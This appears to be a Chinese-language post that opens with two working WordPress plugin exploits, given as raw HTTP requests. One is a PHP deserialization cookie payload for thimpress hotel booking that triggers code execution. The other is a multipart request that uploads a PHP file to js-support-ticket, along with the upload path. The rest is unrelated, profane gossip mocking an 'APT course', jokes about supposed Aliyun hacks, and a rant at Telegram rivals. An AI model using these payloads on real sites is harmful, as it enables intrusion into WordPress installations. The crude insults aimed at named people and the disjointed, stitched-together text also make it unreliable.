WordPress-thimpress_hotel_booking存在代码执行漏洞

GET / HTTP/1.1Host: User-Agent: Mozilla/5.0Connection: closeCookie: thimpress_hotel_booking_1=O:11:"WPHB_Logger":1:{s:21:"%00WPHB_Logger%00_handles"%3BC:33:"Requests_Utility_FilteredIterator":67:{x:i:0%3Ba:1:{i:0%3Bs:2:"-1"%3B}%3Bm:a:1:{s:11:"%00*%00callback"%3Bs:7:"phpinfo"%3B}}}Accept-Encoding: gzip

WordPress-js-support-ticket存在文件上传漏洞

POST /wp-admin/?page=configuration&task=saveconfiguration HTTP/1.1Host: Content-Type: multipart/form-data; boundary=--------767099171User-Agent: Mozilla/5.0 ----------767099171Content-Disposition: form-data; name="action"configuration_saveconfiguration----------767099171Content-Disposition: form-data; name="form_request"jssupportticket----------767099171Content-Disposition: form-data; name="support_custom_img"; filename="{{rand8}}.php"Content-Type: image/png<?php echo md5(123);unlink(__FILE__);?>----------767099171-- 

http://ip/wp-content/plugins/js-support-ticket/jssupportticketdata/supportImg/{{rand8}}.php

仅需2000块，无敌大黑客鼹鼠哥就会教你《高级apt课程》

这年头真是什么乱七八糟的玩意都能自称apt，俩所谓的课程讲师，无聊哥墨白也不知道是何方神圣，哪个国家队的现役选手还是九八五网安实验室吗？啥资历也没有的就开始apt了a了个牛摩洛哥炒饼，不如暗月小迪一根j8毛的玩意

https://bi.aliyun.com/hack-by-Helen.txt

海伦入侵阿里云

https://bi.aliyun.com/Oracle.txt

我也成功入侵阿里云了

笑点解析

阿里云（无敌大厂）
去年雷池rce型的黑客手法
hack by 小鸟游星野
然后发出去装逼，我是潜伏在tg里一个真实存在的黑过阿里云的惊人的老人

【【陈鑫杰】又有国防部被黑，美国发布最新国防网络安全战略 | 杰哥说安全-哔哩哔哩】 https://b23.tv/r6KXrs2

哪位群友

我知道我这人嘴讨嫌tg上招惹了不少人不少大黑客，这个正常，你看我不爽你私聊也好群里骂娘也好随便你，反正网上冲浪就图一乐嘛对吧

你对我有意见你也说清楚哪里有意见行吗?你们这些个无敌的大黑客黑产神，低能到就天天往人邮箱里塞鬼图是吧。第一次我打开可能还吓一跳，第二次第三次莫名奇妙不认识的人给我发邮件你觉得我会不知道里边是啥玩意吗?是你傻还是我傻

我素质低我承认，逮到别人短处就爱揪着不放，但是我不会莫名其妙无缘无故的追着人骂。有的人或者有些组织又菜又爱装，装不下去了撒泼打滚红温骂娘，骂娘骂不动就整些难绷烂活往别人邮箱里塞鬼图跳脸gif，你多大了啊孩子